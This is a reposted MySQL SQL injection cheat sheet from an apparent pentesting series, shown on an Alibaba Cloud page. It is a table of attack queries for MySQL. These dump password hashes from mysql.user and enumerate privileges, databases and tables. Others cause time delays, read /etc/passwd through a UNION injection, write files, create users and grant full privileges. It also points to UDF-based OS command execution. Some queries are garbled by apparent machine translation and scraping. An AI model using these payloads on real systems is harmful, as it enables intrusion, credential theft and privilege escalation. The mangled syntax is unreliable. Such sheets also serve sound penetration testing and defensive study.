MySQL SQL Injection Cheat Sheet

Source: Internet
Author: User
Tags case statement dba mysql sql injection sql injection cheat sheet

MySQL SQL Injection Cheat Sheet

Some useful syntax reminders for SQL injection into MySQL databases ...

This post was part of a series of SQL injection Cheat Sheets. In this series, I ' ve endevoured to tabulate the data-to-make it easier to read and the use of the same table for each data  Base backend. This helps to highlight any features which is lacking for each database, and enumeration techniques that don ' t apply and Also areas that I Haven ' t got round to researching yet.

The complete list of SQL injection Cheat Sheets I ' m working is:

    • Oracle
    • MSSQL
    • Mysql
    • PostgreSQL
    • Ingres
    • DB2
    • Informix

I ' m not planning to write one for MS access, but there's a great MS Access Cheat Sheet here.

Some of the queries in the table below can is run by a admin. These is marked with "–priv" at the end of the query.

Version SELECT @ @version
Comments SELECT 1; #comment
SELECT/*COMMENT*/1;
Current User SELECT user ();
SELECT System_user ();
List Users SELECT user from Mysql.user; -priv
List Password Hashes SELECT host, user, password from Mysql.user; -priv
Password Cracker John the Ripper would crack MySQL password hashes.
List Privileges SELECT grantee, Privilege_type, is_grantable from Information_schema.user_privileges; -list User Privsselect Host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_pri V, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_ Priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv from Mysql.user; -priv, List User Privsselect grantee, TABLE_SCHEMA, privilege_type from Information_schema.schema_privileges; -list privs on databases (schemas) SELECT TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME, Privilege_type from INFORMATION_SCHEMA.C Olumn_privileges; -list privs on Columns
List DBA Accounts SELECT grantee, Privilege_type, is_grantable from information_schema.user_privileges WHERE privilege_type = ' SUPER '; SELECT host, user from mysql.user WHERE super_priv = ' Y '; # Priv
Current Database SELECT database ()
List Databases SELECT schema_name from Information_schema.schemata; -for MySQL >= v5.0
SELECT DISTINCT (db) from Mysql.db-priv
List Columns SELECT TABLE_SCHEMA, TABLE_NAME, column_name from Information_schema.columns WHERE table_schema! = ' MySQL ' and Table_sche Ma! = ' Information_schema '
List Tables SELECT table_schema,table_name from Information_schema.tables WHERE table_schema! = ' mysql ' and table_schema! = ' Informat Ion_schema '
Find Tables from Column Name SELECT TABLE_SCHEMA, table_name from information_schema.columns WHERE column_name = ' username '; -find table which has a column called ' username '
Select Nth Row SELECT Host,user from the user ORDER by host LIMIT 1 OFFSET 0; # Rows numbered from 0
SELECT Host,user from the user ORDER by host LIMIT 1 OFFSET 1; # Rows numbered from 0
Select Nth Char SELECT substr (' ABCD ', 3, 1); # returns C
Bitwise and SELECT 6 & 2; # returns 2
SELECT 6 & 1; # returns 0
ASCII Value--Char SELECT char (65); # returns A
Char, ASCII Value SELECT ASCII (' A '); # returns 65
Casting SELECT cast (' 1′as unsigned integer);
SELECT cast (' 123′as char);
String concatenation SELECT CONCAT (' A ', ' B '); #returns AB
SELECT CONCAT (' A ', ' B ', ' C '); # returns ABC
If Statement SELECT if (1=1, ' foo ', ' Bar '); -returns ' foo '
Case Statement SELECT case When (1=1) Then ' A ' ELSE ' B ' END; # returns A
Avoiding Quotes SELECT 0x414243; # returns ABC
Time Delay SELECT BENCHMARK (1000000,md5 (' A '));
SELECT SLEEP (5); # >= 5.0.12
Make DNS Requests Impossible?
Command execution If mysqld (<5.0) is running as root and you compromise a DBA account you can execute OS commands by uploading a shared  Object file Into/usr/lib (or similar).  The. So file should contain a User Defined Function (UDF).  Raptor_udf.c explains exactly how to go about this. Remember to compile for the target architecture which, may or may not be the same as your attack platform.
Local File Access ...’ UNION all SELECT load_file ('/etc/passwd ')-priv, can is only read world-readable files.
SELECT * FROM mytable into dumpfile '/tmp/somefile '; -priv, write to file system
Hostname, IP Address SELECT @ @hostname;
Create Users CREATE USER test1 identified by ' pass1′; -priv
Delete Users DROP USER test1; -priv
Make User DBA GRANT all privileges on * * to [email protected] '% '; -priv
Location of DB files SELECT @ @datadir;
Default/system Databases INFORMATION_SCHEMA (>= MySQL 5.0)
Mysql
Thanks

Jonathan Turner for @ @hostname tip.

Tags:cheatsheet, database, MySQL, pentest, sqlinjection

Posted in SQL injection

MySQL SQL Injection Cheat Sheet

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.